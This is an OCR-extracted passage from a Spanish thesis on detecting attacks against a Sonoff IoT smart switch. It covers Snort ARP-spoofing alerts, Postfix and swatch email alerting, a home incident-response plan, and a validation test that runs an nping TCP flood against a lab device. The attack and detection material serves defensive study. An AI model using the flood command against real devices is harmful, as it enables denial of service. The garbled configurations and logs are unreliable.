03/27-20:09:11.997224 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:13.008345 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:13.019362 :4:1] (spp_arpspoof) Attempted cache overwrite attack
.019362 :4:1] (spp arpspoof) Attempted cache overwrite attack
Pp_dl psp a P U ARF d Vv W d d R
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]
(spp_arpspoof) Ethernet/ARP Mismatch request for Source [**]
(spp_arpspoof) Attempted ARP cache overwrite attack [**]

V. H H U137

03/27-20:09:13.019362
03/27-20:09:22.893459
03/27-20:09:22.893459
03/27-20:09:22.893459
03/27-20:09:22.904015
03/27-20:09:22.904015
03/27-20:09:22.904016
03/27-20:09:22.904016
03/27-20:09:23.914431
03/27-20:09:23.914432
03/27-20:09:23.914432
03/27-20:09:23.924890
03/27-20:09:23.924890
03/27-20:09:23.924890
03/27-20:09:23.924890
03/27-20:09:24.935337
03/27-20:09:24.935337
03/27-20:09:24.935337
03/27-20:09:24.945571
03/27-20:09:24.945571
03/27-20:09:24.945571
03/27-20:09:24.945571

R S T L S O S I LA T S T O VI A S T U

Fuente: Autor

En esta ocasidon vemos una alerta diferente al primer ataque analizado (Figura 84), el mensaje de
“Ethernet/ARP Mismatch request for Source” hace referencia a qué el paquete ARP es distinto a la
informacidon que se tenia en la fuente. Con lo anterior queda funcionando el preprocesador

también para detectar ataques de hombre en el medio.

Reglas para los ataques ARP poisoning
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El ataque establecido para esta practica fue realiza con el software de “bettercap”. Este ataque fue
bastante facil de ejecutar y sabiendo que también manipula la tabla de ARP entonces se entiende
gue con la configuracién del preprocesador y el seguimiento a la IP y direccion MAC del dispositivo
sonoff es suficiente para detectar el ataque. Al ejecutar el snort con el preprocesador igual
configurado que en el ataque de “des-autenticacion” se obtienen los mismos resultados exitosos
de deteccion (Figura 85):

Figura 85 : Alerta de ataque ARP a Smart switch

Commencing packet processing (pid=6496)

03/27-20:41:35.700297 [**] [112:4:1] (spp_arpspoof)
@3/27-20:41:36.700745 [**] [112: (spp_arpspoof)
@3/27-20:41:37.701161 [**] [112: (spp_arpspoof)
@3/27-20:41:38.702655 [**] [112: (spp_arpspoof)
@3/27-20:41:39.703096 [**] [112: (spp_arpspoof)
@3/27-20:41:40.704400 [**] [112: (spp_arpspoof)
@3/27-20:41:41.705410 [**] [112: (spp_arpspoof)
@3/27-20:41:42.706226 [**] [112: (spp_arpspoof)
@3/27-20:41:43.707331 [**] [112: (spp_arpspoof)
@3/27-20:41:44.707693 [**] [112: (spp_arpspoof)
@3/27-20:41:45.708762 [**] [112: (spp_arpspoof)

attack
attack
attack
attack
attack
attack
attack
attack
attack
attack
attack

overwrite
overwrite
overwrite
overwrite
overwrite
overwrite
overwrite
overwrite
overwrite
overwrite
overwrite

cache
cache
cache
cache
cache
cache
cache
cache
cache

Attempted
Attempted
Attempted
Attempted
Attempted
Attempted
Attempted
Attempted
Attempted
Attempted ARP cache
Attempted ARP cache

ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP

4
4
4
4
4:1
4
4
4
4
4

03/27-20:
03/27-20:
03/27-20:
03/27-20:

41:46.
41:46.
41:46.
41:47.

228251
228528
709356
710573

[**]
[**]
[**]
[**]

[112

[112:1:1
[112:
[112:

(spp_arpspoof)
(spp_arpspoof)
(spp_arpspoof)
(spp_arpspoof)

Unicast ARP request
Unicast ARP request
Attempted ARP cache
Attempted ARP cache

[**]
[**]
overwrite
overwrite

attack
attack

attack
attack

03/27-20:
03/27-20:

41:48.711016
.711813

overwrite
overwrite

[**]
[**]

[112:
[112:4:

Attempted ARP cache
Attempted ARP cache

(spp_arpspoof)
(spp_arpspoof)

Fuente: Autor

El mensaje de “Attempted ARP cache overwrite attack” hace referencia a que el ataque intenta
sobre escribir la tabla ARP de la victima configurada. Con la implementacion de estas reglas en el
snort y la configuracion adicional previamente estipulada, ya el dispositivo smart switch puede

encontrarse monitoreado.

2.3.5 Configurar las alertas encontradas para la notificacion
por correo electrénico

Para lograr esta parte de la instalacion se encontrd una guia ofrecida por un Blogger llamado
“Manuel Franco” [53]. Dentro de la explicacidn se encuentra que para poder recibir alertas de snort

por correo se deben hacer dos cosas adicionales, 1) configurar un servidor de correos, en este caso
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con el software de postfix, 2) instalar un software de vigilancia de actividad del sistema llamado
swatch.

Primero, la instalacién de postfix, la cual no tuvo mayores complejidades, leyendo la guia de
instalacion del mismo Manuel el procedimiento es bastante claro y directo. Postfix es conocido por
ser un agente de transferencia de correos para el sistema operativo de Ubuntu y es por eso que se
configura para el desarrollo de la investigacion actual.

Durante la instalacién del servicio de postfix lo Unico importante para realizar es configurar el
archivo main de este, el archivo se encuentra en la ruta /etc/postfix/main.cf y quedd con los

siguientes pardmetros configurados adicionales:

Figura 86 : Configuracion main de servicio postfix

smtp_tls_CApath=/etc/ssl/certs
smtp_tls_security_level=may
smtp_tls_ sion_cache_database = btree:${data_directory}/smtp_scache

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
2 alex-virtual-machine
hash: fetc/aliases
atabase = hash:/etc/aliases
myorigin = fetc/mailname
tinati S
ffff:127.0.0.0]f104 [::1]/126€

smtp_: - e yES

smtp_. | aps hash: fetc/postfix/sasl_passwd
smtp_sasl_se i ntions = noanonymous

smtp_tls_ ile = fetc/ssl/certs/ca-certificates.crt
smtp_use_tls yes

smtp_tls policy maps = hash:/etc/postfix/tls_policy

smtp_tls_security_level encrypt

Fuente: Autor

Se configura el servicio para que envie correos a la plataforma de Gmail, toda vez Gmail es una
plataforma segura y confiable de utilizar (Figura 86). Se debe tener en cuenta el certificado y la
ruta a utilizar, por defecto ya el servicio de postfix trae el certificado TLS solo toca agregarle la ruta
al archivo y muy importante afadir la ultima linea para que se encripte la comunicacién con el
servicio de Gmail o no va a funcionar el envio de correos. Como una observacion adicional, se tiene
en cuenta que el servicio de Google solo permite enviar 500 correos al dia por ser un usuario

gratuito de Gmail, siguiendo la guia de Manuel se pudo correr el servicio con éxito [54].

e, snortalex@gmail.com, alex-virtual-machine, localhost.localdomain, localhost
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Lo siguiente y mas crucial es instalar el servicio de swatch. Swatch es el agente que revisa los logs
y envia un correo cuando encuentra algun parametro especificado en su archivo de
configuracién[53]. Lo unico diferente que se debe hacer con esta instalacidon es crear nuestros
propios patrones de busqueda en el archivo de configuracién de swatch ubicado en la ruta

/etc/swatchrc

Figura 87 : Configuracion servicio swatch

root@alex-virtual-machine: fhomefalex Q =

GNU nano 4.8 etc/swatchrc
watchfor /Priority\: ([1]|2])/
echo=normal
mail=root@localhost,subject=[SNORT] Alerta de prioridad $1 Detectada,
threshold track_by=51,type=1limit, count=1,seconds=660

watchfor [ARP cache/

echo=normal

mail=root@localhost,subject=[SNORT] Alerta de ARP detectada,
threshold track by=spp_arpspoof, type=1limit,count=1,seconds=60

watchfor /Mismatch/
echo=normal

mail=root@localhost,subject=[SNORT] Alerta de ARP detectada,
threshold track_by=spp_arpspoof, type=1limit,count=1,seconds=60

Read 14 lines
Get Help Write Out Where Is @4 Cut Text Justify Cur Pos
W Exit Wi Read File @\ Replace WY Paste Textgll] To Spell Ml Go To Line

Fuente: Autor

El archivo de configuracion de swatch siempre debe llevar la palabra clave “watchfor” lo cual
simboliza el patron de busqueda que el programa va a monitorear (Figura 87), el patron debe estar
encerrada en dos slash (/) , de tal manera que quede asi / texto / [55]. Dentro de lo configurado en
el archivo encontramos un “echo” lo cual le indica al sistema que muestre de manera gréfica cada

|”

gue envia un correo, el comando “mail” para que ejecute la tarea de enviar correos con postfix,

“subject” se refiere al asunto del correo y el “threshold” es parecido al utilizado por snort, se refiere
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a que envie un solo correo cada 60 segundos siempre y cuando vea el pardmetro buscado. Los
parametros buscados son “Priority 1” los cuales los definimos en la regla personal de Snort, el otro
parametro a buscar en los logs es la alerta de “ARP cache” el cual es el texto que aparece en el log
de snort cada que el preprocesador encuentra algo sospechoso en los paquetes ARP y por ultimo
la alerta de “Mismatch” la cual también es para buscar los ataques de ARP en los logs, se hacen las

reglas asi para evitar falsos positivos de ARP.

Para ejecutar el comando de swatch y empezar a recibir correos se lanza el siguiente comando
swatchdog -c /etc/swatchrc -t /var/log/auth.log. Donde -c indica la ruta del archivo de
configuracion, el cual definimos anteriormente y -t indica los logs que este va a monitorear. Como
snort guarda los logs en el archivo de “auth.log” entonces cada que snort escriba un registro alli el
software de swatch lo escanea y monitorea para mandar correos Unicamente cuando se encuentre

con los parametros establecidos de busqueda (Figura 88).

Figura 88 : Ejecucion servicio de swatch

root@alex-virtual-machine: fhome/alex# swatchdog -c fetc/swatchrc -t fvar/log/auth.log
**%* gwatchdog version 3.2.4 (pid:5224) started at lun 85 abr 2021 16:59:56 -05
083:22 alex-virtual-machine snort[1531]: (spp_arpspoof) Unicast ARP request

il: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp_tls_security_level=may
: warning: /etc/postfix/main.cf, line 54: overriding earlier entry: smtp_tls_security le =may

:03:24 alex-virtual-machine snort[1531]: [1:8008:1] Ataque de tipo Denegacion de servicio [Priority: 1] {TCP}
172.217.204.108:587 -> 192.168.1.8:37602
sendmail: warning: [etc/postfix/main.cf, line 54: overriding earlier entry: smtp_tls_security_level=may
iostdrcp: warning: /fetc/postfix/main.cf, line 54: overriding earlier entry: smtp_tls_security_level=may

Fuente: Autor

Cada que swatch detecta actividad en el log de snort, este revisa su configuracién y envia un correo
de acuerdo con su threshold configurado, en este caso no mas de un correo por minuto.

Finalmente, en la bandeja de correo se observa de la siguiente manera:

Figura 89 : Correo Gmail con las alertas
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[SNORT] Alerta de ARP detectada  Resibides »

root
Apr316:35:23 alex-vitual-machine snort[1417]: (spp_arps poof) Attern pted ARF cache overwrite attack

root
Apr319:36:22 alex-vintual-machinge snort[1417]: message repeated 2 times: [ (spp_arpspoof) UnicastARP requesd]

root
Apr315:37:24 alex-vintual-maching snort[1417]: (spp_arps poot) Attern pted ARP cache overwrite attack

root <sneralex@gmail .com =
para rect, Coomi -

Apr 3 15:38:29 alex-virtual-machine snor[1417]: (spp_arpspoof) UnicastARP request

Fuente: Autor

=

sdk, 3 abr. hace2 diag)
sdb, 3 abr] 15:36 Jhace 2 dias)
sdl, 3 abr hace 2 dias)

sdb, 3 sbr|15:38 fhace 2 dias) w -

Como se puede observar en los tiempos de envid (Figura 89), se logra apreciar que el sistema

respeta el tiempo estipulado de un minuto entre correo. La alerta enviada fue la de un ataque hacia

el protocolo ARP, el cual el sistema detectd y alertd satisfactoriamente.

2.4 Fase 4

Ahora que se identificé la manera de alertar sobre ataques informaticos en la red loT hacia el

dispositivo Smart Switch, es importante que el usuario final se encuentre en condiciones para

detener dicho ataque y tenga el conocimiento sobre cdmo actuar. Mediante una documentacién

clara se realizd una planeacién sobre cdmo manejar incidentes de seguridad en la red loT. La

documentacion se divide en dos partes, la primera parte explica cmo mejorar los dispositivos del

entorno para reducir el riesgo de ataques informaticos y la segunda explica el plan para actuar en

caso de un incidente cibernético.

2.4.1 Investigacion sobre el manejo de incidentes de seguridad

aplicables al hogar

&
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Partiendo de que el sistema loT estara en el hogar y que el administrador es el usuario final, se
investigd sobre las mejores practicas que se le puedan ensefiar a este con el objetivo de evitar y
detener ataques informaticos en su red loT. En la primera parte se establecié unos pasos a tener
en cuenta en la red, informacion para tener una configuracion segura, dispositivos actualizados,
hardware moderno y contrasefias robustas para evitar estos ataques. En la segunda parte se
compartid el paso a paso para detener los ataques informaticos que se vean alertados por el

sistema.

2.4.1.1 Buenas practicas para la red loT

Para responder adecuadamente a los incidentes de seguridad informatica, es necesario seguir un
modelo estructurado y planificado que permita un manejo apropiado de este. El ministerio de
tecnologias de la informacién y las comunicaciones Colombiana (MINTIC) propone un modelo a
seguir para la gestidon y respuesta de un incidente de seguridad de la informacidn, son 4 etapas:
Preparacion, Deteccion y andlisis, Contencién, Erradicacidon y Recuperacién y actividades post-

incidente [56].

1. Preparacion

La etapa de preparacién consiste en como se puede tener las aplicaciones y la tecnologia
mas seguras para evitar posibles fallas de seguridad en sus sistemas. Algunas de las

practicas para asegurar la red y sus dispositivos se describen a continuacion.

Actualizacion de hardware y software

En la actualidad los dispositivos tecnoldgicos se dividen en dos componentes principales,
su hardware y su software. El hardware es compuesto por las partes fisicas que componen
el dispositivo como tal y la otra parte es el software. El software es la parte légica que hace
funcionar al hardware. A medida que pasa el tiempo los fabricantes desarrollan mejoras
para sus dispositivos tecnoldgicos y los aplican al software mediante actualizaciones

programadas.



10¢

Plan de alertas basado en indicadores de compromiso para dispositivos smart

switch/plug en loT

Las actualizaciones pueden traer diferentes cambios en los dispositivos como por ejemplo:
Corregir errores imprevistos, cambiar el disefio del programa, agregar funciones nuevas,
quitar funciones obsoletas, agregar componentes de seguridad e incluso hasta mejorar el
rendimiento del hardware.

Es muy importante mantener los dispositivos tecnolédgicos actualizados para evitar que
sufran de dafios o de fallas de seguridad descubiertas que antes no estaban. Los
dispositivos no actualizados son muy féciles de vulnerar por parte de los ciberdelincuentes
y es por esto que la recomendacién mas importante es la de mantener los dispositivos
actualizados de acuerdo con la tecnologia del fabricante [57].

El proceso de actualizacidn varia de acuerdo con el fabricante del dispositivo. Se ilustra

como se actualiza el Sonoff Smart switch utilizado en Ila investigacion.
e Abrir la app eWelink vista en el capitulo de “Marco tedrico”. A continuacién
seleccionamos el dispositivo y damos click en la opcién derecha arriba, en los tres

puntos (Figura 90)

Figura 90: Opciones para actualizar sistema Sonoff Smart switch
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v

H
.
.
.

<« Sonoff smart switch

1) Mew firmware available. Open device settings to update it.

Fuente: Autor

e A continuacidn, seleccionamos la opcion de “Current Version” (Figura 91)
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Figura 91: Opciones para actualizar sistema Sonoff Smart switch

<« Device Settings

Name

Current Version: 1.5.5

Assign location

Share

Create group

Push notification

Logs

Fuente: Autor

e Por ultimo, si el dispositivo requiere de una actualizacién aparecera el siguiente

botdn( Figura 92)
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Figura 92: Opciones para actualizar sistema Sonoff Smart switch

« Firmware update

General performance improvements and bug

fixes.

Fuente: Autor

Le seleccionamos el botdn y esperamos que se actualice, muy importante no desconectar el
internet del celular y tampoco desconectar el dispositivo Smart switch de la corriente de energia
durante este proceso. Se recomienda revisar si hay actualizaciones nuevas por lo menos una
vez cada tres meses, toda vez continuamente los fabricantes suelen lanzar parches de seguridad

gue pueden beneficiar a nuestros dispositivos.

Hardware:

El punto de conexién clave en el hogar 10T es el enrutador inaldmbrico que conecta a todos los
dispositivos de la casa en una red local y les brinda el acceso hacia internet. Los enrutadores

inalambricos disponen de un protocolo de seguridad que permite que la conexion entre los
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dispositivos y el mismo sean mas seguras. Actualmente existen 4 protocolos seguros que utilizan
los enrutadores inaldmbricos y estos son: Wired Equivalent Privacy (WEP), Wi-Fi Protected Access

(WPA), Wi-Fi Protected Access 2 (WPA 2) y Wi-Fi Protected Access 3 (WPA 3).

El protocolo de seguridad mdas moderno es el WPA 3, lanzado en el afio 2018. Se considera que el
protocolo aun es bastante nuevo y muchos dispositivos 10T no cuentan con el soporte para
conectarse a este tipo de redes y solo unas pocas marcas de enrutadores soportan esta tecnologia.
La recomendacidn es verificar en el empaquetado del dispositivo 10T si tiene soporte para WAP 3y
si es asi hablar con el proveedor de internet para solicitar un enrutador con tecnologia WAP 3 toda

vez es el protocolo de conexidon mas seguro de la actualidad contra hackers [58].

Lo mas comun es que los enrutadores de la actualidad estén configurados con el protocolo WPA2,
para revisar esto basta con observar la marca y la referencia del enrutador del que disponemos en
el hogar. Se busca el enrutador en la pagina del fabricante y alli nos muestra el protocolo que utiliza.
La recomendacién técnica es llamar al proveedor del internet y pedirle que nos verifique si la

conexion wifi funciona con el protocolo WPA2 y si es negativo que nos la habilite para el hogar.

A continuacién, se busca en las paginas de distintos fabricantes sobre la descripcién de los
enrutadores wifi que ofrecen en el mercado. Algunos ejemplos de enrutadores comerciales
aparecen a continuacién, de esta manera el usuario puede tener una referencia sobre cual opcidn

buscar para conocer si su enrutador wifi tiene el protocolo WPA2 habilitado (Figura 93, Figura 94,

Figura 95):
Figura 93: Protocolos wifi en enrutador tp-link
SEGURIDAD
WEP
- . WPA
Wik Encryption
WPA?2

WPA/WPAZ2-Enterprise (802.1x)
Fuente: Tp-link[59]

Figura 94: Protocolos wifi en enrutador Tenda
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Wireless Security WFA-PSK/MWPAZ-PSK, WPASWERAZ
Wireless Security: Enable/Disable
WPSWIF Protected Set-up) fast encryption

Fuente: Tenda [60]

Figura 95: Protocolos wifi en enrutador Ubiquiti

Software
Wi-Fi Standards a02.11a/bse
Wi-Fi 4W0-Fi 500-Fi &
Wireless Security WPA-PSK, WPA-Enterprise (WPAWPAZAWPAS®)

*Supported With Upcoming Controller Versions

L tatatl el ~ L]

Fuente: Ubiquiti [61]

Con la evidencia de estos fabricantes se observa como sus dispositivos wifis vienen con el protocolo
WPA2 en su seguridad, incluso el fabricante Ubiquiti ofrece el protocolo WPA3 en su dispositivo. Si
el usuario desea instalar un enrutador moderno con el protocolo WPA3 lo puede hacer, la
recomendacidon es que se contacte con el proveedor de internet para que pueda lograr una

instalacion exitosa y sin problemas.

Una sugerencia adicional y de buena prdctica es cambiar la configuracion de la red Wifi y ponerla
como de tipo oculta. El usuario deberd llamar a su proveedor de internet e indicarle que requiere
que su red wifi sea una red de tipo oculta para dispositivos, con esta configuracién el nombre serd
oculto para los dispositivos inaldmbricos de la zona. Al tener la red wifi oculta, los vecinos vy las
personas que intenten buscar la red con sus dispositivos no la podran ver, solo se podran conectar

los clientes que tengan el nombre de la red wifi oculta.
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Contraseias

La configuracion de una contrasefia que cumpla con unos requisitos minimos de complejidad es
crucial para que la red wifi del usuario final sea mas segura y menos probable a ser vulnerada por
atacantes. Toda vez el dispositivo loT se encuentra en una red wifi, es importante asegurar esta red
con una contrasefia que cumpla con los requerimientos de seguridad minimos. A continuacién, se
establecen las mejores recomendaciones para tener una contrasefia confiable, robusta y dificil de

hackear:

e la contrasefa debe tener minimo 14 caracteres de largo, por ejemplo, una frase
clave que solo el duefio la identifique.

e Las contrasefias no deben tener limite de caracteres maximos.

e La contrasefie debe tener minimo un caracter especial en su composicién, por
ejemplo: “Alex@nd3r*2901”

e lacontraseiia se debe cambiar minimo dos veces al afio.

e No tener “tips” o “ayudas” para adivinar la contrasefia.

e No anotar la contrasefia en lugares visibles o de facil acceso.

Estas recomendaciones son dadas por el centro CIS (Center for internet security), un ente regulador

y activo sobre los ataques informdticos de la actualidad [62].

2. Deteccidn y Analisis

En esta etapa se hace la deteccién del incidente de seguridad. La deteccidn del incidente se da
mediante el alertamiento de correos que llegan a la bandeja de entrada del usuario configurada
en el sistema de monitoreo. Todos los correos configurados por parte de Snort son de alto
impacto y por lo tanto todos los correos que lleguen deben ser tratados con prioridad alta y de

urgencia para actuar ante la situacion.

Es muy importante tener en cuenta que para poder contar con el monitoreo y deteccion en la
red, la maquina virtual configurada en la fase 3 debe estar en funcionamiento antes del ataque o

de lo contrario no se podra detectar el ataque informatico a la hora de materializarse.
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2.4.1.2 Respuesta a incidentes de ataques informaticos

3. Contencion, erradicacién y recuperacion

Luego de haber detectado el incidente informdatico es importante contenerlo y erradicarlo. Se debe

detener el incidente y reestablecer los sistemas afectados para poder recuperar el servicio.

Con una implementacion exitosa del sistema de deteccidn de intrusos planteado en la investigacidon

presente el usuario final sera notificado en tiempo real si su dispositivo loT se encuentra vulnerado.

En caso de que el usuario reciba correos electrénicos alertando sobre un ataque al sistema, se

recomienda seguir el plan de accidn a continuacion y hacer los siguientes pasos para detener dicho

ataque y mitigar la amenaza.

i)

Desconectar el enrutador wifi de la toma de corriente para asi poder apagarlo lo mas pronto
posible.

Llamar al proveedor del servicio de internet en el hogar para hacer tres cosas: cambiar el
nombre de la red wifi, cambiar la contrasefia wifi de la red y por ultimo pedirle que nos
cambie la direccion IP publica para asi borrar la IP anterior asignada al hogar y no dejarle
huella al atacante.

Denunciar el ataque a las autoridades locales, para Colombia se puede denunciar el ataque
informatico en el portal
https://adenunciar.policia.gov.co/adenunciar/Login.aspx?ReturnUrl=/adenunciar/%20
Primero ingresamos a la opcién de “Denuncia Virtual” y segundo a la opcién de “Delitos

informdticos” (Figura 96, Figura 97)

Figura 96 : Denuncias virtuales
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|i‘\ https://adenunciar.policia.gow.co,

Policia Macional - Fiscalia General de la Nacion

Sistema Nacional de Denuncia Virtual ... jADenunciar!

DENUNCIA
VIRTUAL

REGISTRO
DOCUMENTOS

Fuente: Policia Nacional [63]

Figura 97: Delitos informaticos

B  https;//adenuncdiar policia.gov.co

Policia Nacional - Fiscalia General de la Nacién

Sistema Nacional de Denuncia Virtual ... jADenunciar!

DELITOS g
FORMATICOS P h EXTORSION
FALSEDAD EN

DENUNCIAS PERSONAL

VIOLENCIA BASADA |
EN GENERO

Fuente: Policia Nacional [63]

En este portal la policia nacional recibe las denuncias informaticas y asisten en el caso, ellos
cuentan con personal informatico capacitado para atender este tipo de situaciones. De esta

manera se detiene el ataque informatico en tiempo real, aseguramos nuevamente la red
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wifi y denunciamos ante las autoridades pertinentes para tener un respaldo mas confiable

y recibir un apoyo profesional.

iv) Reestablecer los servicios, conectar el enrutador y configurar nuevamente el Smart switch

a la red inaldmbrica modificada.

4) Actividades post-incidente

Luego de ser victimas de un ataque informatico, es importante hacer una retroalimentacién y ver
en qué aspectos se puede mejorar para poder mitigar futuros ataques o para poder responder
mejor ante futuros ataques. Se recomienda crear un documento en el cual se registraran las
“lecciones aprendidas” del incidente. En este documento se pueden documentar datos
especificos sobre como fue el manejo de la situacién, cuanto fue el tiempo de respuesta por parte
de las autoridades, si hace falta anotar nimeros telefénicos importantes y detalles asi, algunos
datos que se sugieren anotar son:

e Tiempo total del incidente

e Dificultades encontradas a la hora de seguir el documento

e Numeros telefénicos importantes para llamar, por ejemplo, el nimero del prestador de

servicio de internet, la policia y hasta algiin amigo conocedor del tema que pueda ayudar.
e Qué se puede mejorar para futuros incidentes

e Evaluar silos sistemas estaban actualizados o no antes del ataque

e Seguir las recomendaciones dadas por los expertos

Como documento adjunto (ver Anexo A) a la investigacion se afade el archivo
“PlandeRespuestalncidentes.docx” para el usuario final, un documento facil de seguir y entender
para que este tenga mas claridad sobre el plan de accién a tener en cuenta ante algun incidente en
su red. En este documento se encuentran los pasos detallados de la seccién 2.4.1 de esta

investigacion.
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2.5 Fase 5

Finalmente, y lo mas importante en toda investigacion, es fundamental asegurarse de que el
sistema implementado quede funcionando correctamente. En este apartado se documentaron
pruebas de funcionamiento del sistema de alertas implementado para asegurar que no hubiese

errores durante su ejecucion.

2.5.1 Validar el funcionamiento del sistema de alertas

En el siguiente diagrama se describen los diferentes pasos que se deben cumplir para desplegar el

sistema sin errores y con una ejecucion efectiva (Figura 98).

Figura 98 : Checklist sistema completo
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Check List

1.
Iniciar Snort en

modo deteccidn
de intrusos

Iniciar servicio
de swatchdog

Ejecutar ataque a
N
dispositivo -

attac
attack
attack
attack
attack

Revisar las deteccionesy
alertas en snort

attack
attack
attack
attack

Revisar los logs en
swatchdog

6.
Verificar correo -
electrénico bl
7. .
— Seguir el documento

"Planderespuestaincidentes.docx”
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Fuente: Autor

Antes que nada, lo primero que se debe hacer es revisar si el dispositivo Smart switch tiene algun
cambio en su IP local, toda vez si el sistema de deteccién de intrusos tiene una IP errénea entonces
nunca se podra detectar su trafico. Si el dispositivo Smart switch cambid de IP, este se debe

actualizar en el archivo de configuracion de snort.

A continuacidn, iniciamos el sistema de deteccién de intrusos en modo de deteccidn y que guarde
los logs con syslog “snort -d -h 192.168.1.0/24 -A console -c /etc/snort/snort.conf -i ens33 -s”
(Figura 99)

Figura 99: Inicializacion servicio de Snort

root@alex-virtual-machine: /home/alex# snort -d -h 192.168.1.0/24 -A console -c
fetcfsnortfsnort.conf -1 ens33 -s
Running in IDS mode

--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/fetc/snort/snort.conf"
PortVar 'HTTP_PORTS' defined : [ 80:81 311 383 591 593 901 1220 1414 1741 1830
2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000:7001 7144:7145 7510 777
7 7779 8000 8008 8014 8028 BO8O 8085 B8O88 8090 8118 8123 8180:8181 8243 8288 83
00 8800 8888 8899 %000 %060 9080 9090:9091 9443 9999 11371 34443:34444 41080 50
@82 55555 ]
'Portvar 'SHELLCODE_PORTS' defined : [ ©:79 81:65535 ]
PortVar 'ORACLE PORTS' defined : [ 1024:65535 ]
PortVar 'SSH_PORTS' defined : [ 22 ]
PortVar 'FTP_PORTS' defined : [ 21 2166 3535 ]
PortVar 'SIP_PORTS' defined : [ 5060:5061 5600 ]
PortVar 'FILE_DATA_PORTS' defined : [ 88:81 110 143 311 383 591 593 901 1220 1

Fuente: Autor

Con el servicio de snort arriba lo que sigue es iniciar el servicio de swatchdog, con este servicio el
sistema va a estar buscando nuevos logs en el archivo de “Auth.log” configurado por snort, en este
archivo el proceso de syslog escribe los logs que Snort detecta como alertas (Figura 100). El

comando utilizado es el siguiente “swatchdog -c /etc/swatchrc -t /var/log/auth.log”.
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Figura 100 : Inicializacién servicio de Swatchdog

root@alex-virtual-machine: fhome/alex# swatchdog -c fetc/swatchrc -t fvar/logfaut
. log

*** swatchdog version 3.2.4 (pid:12816) started at mie 14 jul 2021 13:12:21 -85

Fuente: Autor

Ya con ambos sistemas arriba y en ejecucion se procede a realizar un ataque de denegacién de
servicio al Smart switch mediante el comando Nping en la maquina virtual de Kali Linux (Figura

101).

Figura 101: Inicializacion ataque DoS con Nping

# nping --tcp --rate=9600600 -c 9000000 -q 192.168.1.7

rting Nping ©.7.91 ( https://nmap.org/nping ) at 2821-67-14 13:16 -85

7.191ms Min rtt: ©.087ms | Avg rtt: 9.007ms
- (1.796MB)} | Rcvd: 45683 (2.098MB) | Lost: 8 (0.00%)
s pinged in 3.32

Fuente: Autor

El ataque inicia a las 13:13 pm el dia 14 de Julio (Figura 102),
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Figura 102 : Ejecucién ataque DoS hacia victima

Places ~ 3 Terminal = Jul14 13:1:

root@Kkali: ~

Fuente: Autor

El sistema de deteccidn efectivamente detecta y alerta la consola a la hora del ataque, 13:13 pm

(Figura 103).
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Figura 103 : Deteccion y alerta del ataque DoS

] Terminal ~ jul14 13114 A DO

1 Recibidos (1) - snortalex X M~ root@alex-virtual-machine: fhomefalex Q
<« c o © d*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
07/14-13:12:52.279239 [**] [112:1:1] (spp_arpspoof) Unicast ARP request [**]
07/14-13:12:57.003408 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [*
*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
07/14-13:12:57.786738 [**] [112:1:1] (spp_arpspoof) Unicast ARP request [**]
07/14-13:13:087.003758 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [*
*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
}' Redactar . B7/14-13:13:12.759732 [**] [112:1:1] (spp_arpspoof) Unicast ARP request [**]
© 87/14-13:13:17.005023 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [*
*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80

L] Recibidos :_07114—13:13:27.013592 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [*
% Destacados | €CUTs1 [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 p=-12
© Pospuestos —- . : 7/14-13:13:33.242048 [**] [112:1:1] (spp_arpspoof) Unicast ARP request [*¥] 10:33
07/14-13:13:37.003080 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [*
> Enviados : “*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 09:34
B Borradores : 37/14-13:13:47.0151087 |[**] [1:8008:1] Ataque de tipo Denegacion de servicio [* |l
 *] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
Meet 07/14-13:13:53.720439 |**| |[112:1:1] (spp_arpspoof) Unicast ARP request [*¥] 09:25
m Nueva reunié 14 1,.0?/14—13:13:5?.008180 [**] [1:8008:1] Ataque de tipo Denegacion de servicio [* [Eg.
B Unirte a una rd 7'*] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80
T 87/14-13:14:07.003169 [**] [1:80088:1] Ataque de tipo Denegacion de servicio [* , SRS +
H LY %] [Priority: 1] {TCP} 192.168.1.222:31318 -> 192.168.1.7:80 N
angouts ecur 3 abr

aSHOI’t

Fuente: Autor

